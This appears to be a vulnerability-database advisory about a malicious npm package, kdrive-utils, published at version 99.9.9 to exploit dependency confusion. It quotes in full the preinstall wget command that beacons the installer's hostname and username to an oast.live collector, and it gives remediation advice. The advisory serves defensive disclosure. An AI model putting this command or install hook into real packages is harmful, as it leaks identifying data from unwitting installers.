What is MAL-2026-6295?

MAL-2026-6295 is a malicious package in kdrive-utils, published on 23 Jun 2026.

Official description

package.json declares a preinstall lifecycle script that auto-executes on npm install and runs wget -q -O- "http://d8svb0ao12pnoovdaih0giunhdew5oqa4.oast.live/$(hostname)/$(whoami)". The installer's hostname and current OS username are embedded directly into the request path and sent over plain HTTP to an oast.live (Interactsh / out-of-band application security testing) listener — an attacker-controlled DNS/HTTP collector commonly used for supply-chain reconnaissance and typosquat/dependency-confusion probes. The package is an unscoped name published at version 99.9.9, which is the canonical dependency-confusion shape (high version number to win resolution against an internal package of the same name). No legitimate functionality is shipped beyond the beacon.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

What should I do about MAL-2026-6295?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
